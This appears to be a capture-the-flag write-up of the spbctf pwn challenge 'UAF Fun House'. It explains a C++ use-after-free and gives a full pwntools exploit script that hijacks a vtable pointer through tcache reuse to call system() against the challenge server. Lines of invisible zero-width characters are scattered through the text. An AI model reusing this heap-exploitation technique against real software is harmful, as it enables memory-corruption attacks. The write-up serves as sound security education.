โ† Back to Writeups
CUSTOMEasypwn

UAF Fun House

XESXOR9/2/20264 min read
#pwn#custom#easy#dangling_pointer_reuse#double_encoding_address#tcache_same_size_reallocation#uaf_vtable_hijack

UAF Fun House

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: dangling_pointer_reuse, double_encoding_address, tcache_same_size_reallocation, uaf_vtable_hijack

Summary

Task: C++ menu-driven data manager with Array/Flag classes using virtual functions; remove_element() frees object but leaves dangling pointer in global array (UAF). Solution: free Array, reallocate same-size double[] buffer over freed chunk, overwrite vptr with Flag vtable pointer encoded as IEEE-754 double, trigger virtual dispatch to Flag::Display which calls system("cat flag.txt").

UAF Fun House โ€” spbctf

Description

Use-After-Free for Fun ๐Ÿคน nc 109.233.56.90 11728

A C++ binary (mc4.elf) with source code (mc4.cpp) implements a menu-driven data manager. The program uses C++ classes with virtual functions: Data (base), Array (inherits Data), and Flag (inherits Data). The Flag::Display() method calls system("cat flag.txt") โ€” the win condition. The goal is to trigger Flag::Display() through a Use-After-Free vulnerability.

Analysis

Binary Properties

  • ELF 64-bit, x86-64, dynamically linked
  • No PIE (base 0x400000) โ€” all addresses are fixed at compile time
  • Partial RELRO, NX enabled, canary present
  • Not stripped, includes debug_info โ€โ€‹โ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€Œโ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€Œโ€‹โ€‹โ€Œโ€Œโ€Œโ€‹โ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€‹โ€

Key Addresses (from nm)

SymbolAddress
FLAG (global Flag object)0x6030c8
_ZTV4Flag (Flag vtable)0x602d58
Flag::Display0x40173a

The Flag vtable at 0x602d58 has the standard C++ layout:

  • +0x00: offset-to-top (0)
  • +0x08: typeinfo pointer
  • +0x10: Flag::Display (0x40173a)
  • +0x18: Data::Modify (0x401542)

A Flag object's vptr points to vtable + 0x10 = 0x602d68 (the first virtual function slot).

Object Layout

An Array object occupies 24 bytes (0x18): โ€โ€‹โ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€Œโ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€Œโ€‹โ€‹โ€Œโ€Œโ€Œโ€‹โ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€‹โ€

+0x00: vptr     (8 bytes) โ€” vtable pointer
+0x08: size     (4 bytes int + 4 bytes padding)
+0x10: data     (8 bytes) โ€” double* pointer

This maps to a malloc chunk of size 0x20 (24 bytes + chunk metadata). Crucially, new double[3] also allocates exactly 24 bytes โ€” the same tcache bin (0x20).

The Vulnerability

In remove_element():

cpp
void remove_element() {
    int i;
    cout << "Enter data index to remove: ";
    cin >> i;
    if (i < 0 || i >= COUNT) { cout << "Wrong index\n"; return; }
    Array * arr = (Array *)DATAS[i];
    delete arr->data;    // frees the double[] buffer
    delete DATAS[i];     // frees the Array object
    cout << "Element freed\n";
    // BUG: DATAS[i] is NOT set to NULL
    // BUG: COUNT is NOT decremented
}

โ€โ€‹โ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€Œโ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€Œโ€‹โ€‹โ€Œโ€Œโ€Œโ€‹โ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€‹โ€

After deletion, DATAS[i] still holds the pointer to the freed Array object. Subsequent display_element() or modify_element() calls will dereference this dangling pointer โ€” a classic Use-After-Free.

Solution

Exploit Strategy

Since there's no PIE, the Flag vtable address is fixed. The plan:

  1. Allocate an Array with size 3 โ†’ creates two 24-byte chunks (same tcache bin 0x20): one for double[3] data, one for the Array object.
  2. Free the Array โ†’ both chunks go to tcache 0x20. LIFO order: head โ†’ Array_obj โ†’ data_chunk. The dangling pointer DATAS[0] remains.
  3. Allocate a new Array with size 3 โ†’ new double[3] pops tcache head = freed Array_obj chunk. Writing the Flag vtable pointer (0x602d68) as the first double overwrites the dangling object's vptr. Then new Array(...) pops the next entry (old data chunk).
  4. Display index 0 โ†’ DATAS[0]->Display() performs virtual dispatch through the overwritten vptr, calling Flag::Display() โ†’ system("cat flag.txt"). โ€โ€‹โ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€Œโ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€Œโ€‹โ€‹โ€Œโ€Œโ€Œโ€‹โ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€‹โ€

IEEE-754 Address Encoding

The address 0x602d68 must be written as a double value that cin >> parses back to the exact 64-bit pattern. As a subnormal double, 0x602d68 = 3.1141352909890443e-317. Verified round-trip with Python:

python
import struct
val = struct.unpack('<d', struct.pack('<Q', 0x602d68))[0]
assert struct.unpack('<Q', struct.pack('<d', val))[0] == 0x602d68
# val = 3.1141352909890443e-317

Exploit Script

python
#!/usr/bin/env python3
import struct
from pwn import *
โ€โ€‹โ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€Œโ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€Œโ€‹โ€‹โ€Œโ€Œโ€Œโ€‹โ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€‹โ€

context.arch = 'amd64'

VTABLE_PTR = 0x602d68  # &Flag_vtable + 16 (points to first virtual func slot)

def dbl(x):
    """Convert a 64-bit integer to its IEEE-754 double decimal representation."""
    return format(struct.unpack('<d', struct.pack('<Q', x))[0], '.17g')

HOST, PORT = '109.233.56.90', 11728
io = remote(HOST, PORT)

def menu(c):
    io.recvuntil(b'choice: ')
    io.sendline(c.encode())

def add(size, nums):
    menu('a')
    io.recvuntil(b'Enter array size: ')
    io.sendline(str(size).encode())
    io.recvuntil(b'numbers: ')
    io.sendline(' '.join(str(n) for n in nums).encode())
โ€โ€‹โ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€Œโ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€Œโ€‹โ€‹โ€Œโ€Œโ€Œโ€‹โ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€‹โ€

def remove(i):
    menu('r')
    io.recvuntil(b'to remove: ')
    io.sendline(str(i).encode())

def display(i):
    menu('d')
    io.recvuntil(b'to display: ')
    io.sendline(str(i).encode())

# Step 1: Add array #0, size 3 โ†’ two 0x20 tcache chunks
add(3, [1.0, 2.0, 3.0])

# Step 2: Remove #0 โ†’ frees data then Array obj
#   tcache 0x20: head โ†’ Array_obj โ†’ data_chunk
#   DATAS[0] still points to freed Array_obj (dangling!)
remove(0)

# Step 3: Add array #1, size 3
#   new double[3] reuses freed Array_obj chunk
#   First double = Flag vtable ptr โ†’ overwrites DATAS[0]'s vptr
add(3, [dbl(VTABLE_PTR), 0, 0])
โ€โ€‹โ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€Œโ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€Œโ€‹โ€‹โ€Œโ€Œโ€Œโ€‹โ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€‹โ€

# Step 4: Display index 0 โ†’ virtual dispatch through Flag vtable
#   DATAS[0]->Display() โ†’ Flag::Display() โ†’ system("cat flag.txt")
display(0)

io.recvuntil(b'flag is:\n')
print(io.recvall(timeout=3).decode(errors='replace'))
io.close()

Execution

$ python3 exploit.py
[+] Opening connection to 109.233.56.90 on port 11728: Done
[+] Receiving all data: Done (149B)
spbctf{REDACTED}

โ€โ€‹โ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€Œโ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€Œโ€‹โ€‹โ€Œโ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€Œโ€‹โ€‹โ€Œโ€Œโ€Œโ€‹โ€‹โ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€Œโ€Œโ€‹โ€‹โ€‹โ€‹โ€